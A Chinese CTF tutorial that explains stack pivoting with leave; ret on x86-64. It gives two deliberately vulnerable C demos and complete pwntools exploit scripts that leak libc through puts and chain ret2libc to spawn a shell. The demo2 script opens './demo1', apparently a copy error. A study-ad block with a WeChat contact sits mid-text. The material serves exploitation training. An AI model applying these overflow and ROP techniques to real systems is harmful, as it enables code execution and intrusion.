一、前言
現在的CTF比賽中很難在大型比賽中看到堆疊溢位型別的賽題,而即使遇到了也是多種利用方式組合出現,尤其以堆疊遷移配合其他利用方式來達到組合拳的效果,本篇文章意旨通過原理+例題的形式帶領讀者一步步理解堆疊遷移的原理以及在ctf中的應用,
二、前置知識
在筆者看來堆疊遷移的原理其實可以總結為一句話:因為堆疊溢位位元組過少所以劫持rsp暫存器指向攻擊者提前布置好payload的記憶體地址,已達到擴充溢位位元組數的目的,? 以一個簡單的demo1為例,程式原始碼以及編譯指令如下所示:
#include <stdio.h> ? char buf1[0x100]; ? void main() { char buf2[0x40]; puts("First: "); read(0, buf1, 0x100); puts("Second: "); read(0, buf2, 0x60); ? } // gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c
程式的流程非常簡單存在兩個輸出,第一次是往全域變數buf1第二次是往區域變數buf2中寫入,可以看到在第二次寫入時存在明顯的堆疊溢位漏洞,但是溢位的位元組數只夠寫入0x18大小的位元組,如果要構造gadget泄露記憶體地址,最短的ROP鏈也需要0x20的位元組才可以在泄露記憶體后回傳輸入點繼續執行程式,
在這種情況就可以使用堆疊遷移的方式來擴大溢位位元組數的大小,在前面說過堆疊遷移的本質就是劫持rsp暫存器指向攻擊者提前布置好payload的記憶體地址,而劫持rsp暫存器的指令有很多,最常用的就是函式的退堆疊回傳指令leave; ret,? 可以分成兩部分來理解這條指令,首先執行的是leave指令,這條指令共執行了兩個操作mov rsp, rbp和pop rbp,其中rsp暫存器的指向變化如下圖所示,可以看到在執行完leave指令后rsp暫存器指向了回傳地址;隨后會執行ret指令,這條指令可以理解成pop rip,因為此時rsp暫存器指向rbp+8即函式的回傳地址,所以pop給rip暫存器的就是函式的回傳地址,退堆疊完成,
在了解這條指令后不難發現,如果利用溢位漏洞可以覆寫rbp的值為一個已知地址,那么在執行過兩次leave; ret指令后,就可以劫持rsp暫存器到任意地址,此時rsp暫存器指向的地址即為新的堆疊地址,只要事先在新地址處布置好想要執行的rop gadget,那么溢位位元組過少這個問題就迎刃而解了,
根據上面介紹的堆疊遷移原理,可以總結出使用堆疊遷移的一些必要條件
-
存在可以劫持程式流和控制rbp暫存器的漏洞
-
攻擊者可以確定準確某一塊具有讀寫權限的地址
-
在進行堆疊遷移前需要在這塊地址上進行
rop gadget布局
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
三、例題講解
3.1 例題demo1
在理解了堆疊遷移的原理后可以通過這個demo來練練手了,進行編譯時未開啟Canary和PIE保護,NX保護開啟防止寫入shellcode
這里先將大體的利用思路總結出來,其中的實作細節實作會在下文中進行說明,
-
未開啟
PIE保護,可以確定第一次寫入的地址記作addr1,在此地址處布置rop gadget來實作泄露LIBC地址并回傳主函式 -
利用第二次寫入存在的堆疊溢位漏洞覆寫
rbp為addr1,rip為指令leave; ret的地址實作堆疊遷移 -
回傳主函式后利用
ret2libc執行system("/bin/sh")獲取shell
3.1.1 堆疊遷移布局
首先我們利用第一次輸入進行rop chain布局,并利用第二次堆疊溢位漏洞覆寫rbp為偽堆疊地址劫持rip為leave; ret指令地址,記憶體變化如下圖所示,? 細心的同學會發現,我們在第一次進行rop chain布局前有一小段padding填充在前面,這是因為在我們進行堆疊遷移后,程式指令中所有對于堆疊的操作都會在偽堆疊內進行,而偽堆疊地址與got表地址相鄰,填入這小段padding的目的就是為了避免程式在對偽堆疊進行讀寫資料時造成記憶體資料段內關鍵資訊被覆寫,從而造成crash現象,
在匯編中當我們要對區域變數進行操作時,一般都是用rbp堆疊底暫存器來定位,如下圖所示,這一點在堆疊遷移中可以讓我們構造出一個類似于鏈表的利用結構,每次布置rop chain時不斷將rbp暫存器賦值為偽堆疊地址,然后跳轉到主函式的寫入函式處,因為區域變數尋址是通過rbp暫存器,所以我們可以不斷進行rop chain的布局,? 在第一次進行rop chain的布局中控制rbp暫存器指向新的偽堆疊地址,那么在回傳主函式后執行read函式時,寫入地址就是新的偽堆疊地址,這時只要利用堆疊溢位漏洞去構造ret2libc即可getshell,
3.1.2 EXP
from pwn import * ? p = process('./demo1') libc = ELF('./demo1').libc ? fake_stack = 0x601060 leave_ret = 0x40058E puts_plt = 0x400430 puts_got = 0x601018 pop_rdi = 0x4005f3 read_text = 0x400572 ? payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text) p.sendafter('First:', payload1) payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret) p.sendafter('Second:', payload2) ? puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) libc_base = puts_addr - libc.sym['puts'] system = libc_base+libc.sym['system'] sh = libc_base+libc.search('/bin/sh').next() success(hex(libc_base)) ? payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system) p.send(payload3) p.interactive()
3.2 例題demo2
在CTF比賽中通常只有一次寫入機會,這邊給出demo2的原始碼以及編譯命令,
# include <stdio.h> # include <string.h> void main() { char buf[0x28]; puts("Hello Hacker."); read(0, buf, 0x40); } // gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c
與demo1一樣demo2未開啟Canary 與PIE保護,不同的是demo2中只有一次輸入機會,并且溢位位元組數只能覆寫回傳地址,? 結合之前講解的堆疊遷移技巧,首先在劫持rsp前需要進行rop chain布局,程式并沒有一次可以往偽堆疊布局的機會,但是可以利用劫持程式流的方式來構造這一條件,? 觀察程式的匯編代碼如下圖所示,在對區域變數buf進行尋址時使用了rbp暫存器,那么我們可以利用這一點配合堆疊溢位漏洞來實作偽堆疊上的rop布局,利用思路如下所示,其中的實作細節實作會在下文中進行說明,
-
利用堆疊溢位漏洞劫持
rbp暫存器為偽堆疊地址,回傳地址為0x40054b(圖中主程式的輸入函式),即可在回傳主程式后對偽堆疊進行rop chain的布局 -
對偽堆疊進行
rop chain的布局,泄露LIBC地址并回傳主函式 -
回傳主函式后利用堆疊溢位漏洞配合
堆疊遷移+ret2libc完成getshell
3.2.1 偽堆疊rop布局
第一次leave; ret是主函式退堆疊時執行的,利用堆疊溢位漏洞覆寫rbp為偽堆疊地址,rsp為主函式地址,當我們再次來到主函式的輸入函式時即可在偽堆疊上布置rop chain,此時的記憶體變化如下圖所示
第二次leave; ret指令依然來自主函式退堆疊時執行,在偽堆疊上布置好rop chain后程式執行退堆疊操作,此時rbp暫存器內保存fack_stack-0x30的地址即rop chain地址+0x8的位置處,rsp暫存器被劫持到偽堆疊上,此時的記憶體變化如下圖所示
這里為什么是fake_stack-0x30的地址呢?因為在對區域變數buf進行尋址時使用到rbp暫存器,而本題中的buf地址來自[rbp-0x30]的地址,所以如果想要將rsp劫持到rop chain的位置,就需要對rbp暫存器賦值為fakc_stack-0x30,那么在執行第三次leave的時候,rsp暫存器就劫持到rop chain的地址處,此時的記憶體變化如下圖所示
泄露完LIBC地址后,劫持程式流回傳主函式,利用read函式對偽堆疊進行最后一次rop布局,需要注意此時的寫入地址是fake_stack-0x30,所以在堆疊遷移時rbp暫存器的值為fake_stack-0x30-0x30-0x8的地址處,再執行一次leave; ret時即可將rsp暫存器劫持到ret2libc rop地址處,記憶體變化如下圖所示
3.2.2 EXP
from pwn import * context.log_level = 'debug' ? p = process('./demo1') libc = ELF('./demo1').libc ? read_text = 0x40054B fake_rbp = 0x601500 pop_rdi = 0x4005d3 # pop rdi; ret; puts_plt = 0x400430 puts_got = 0x601018 leave_ret = 0x400567 ? # gdb.attach(p, 'b *0x400567') ? payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text) p.sendafter("Hello Hacker.", payload1) ? payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret) p.send(payload2) ? puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) libc_base = puts_addr - libc.sym['puts'] system = libc_base+libc.sym['system'] sh = libc_base+libc.search('/bin/sh').next() success(hex(libc_base)) ? payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret) p.send(payload3) p.interactive()
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/500408.html
標籤:其他
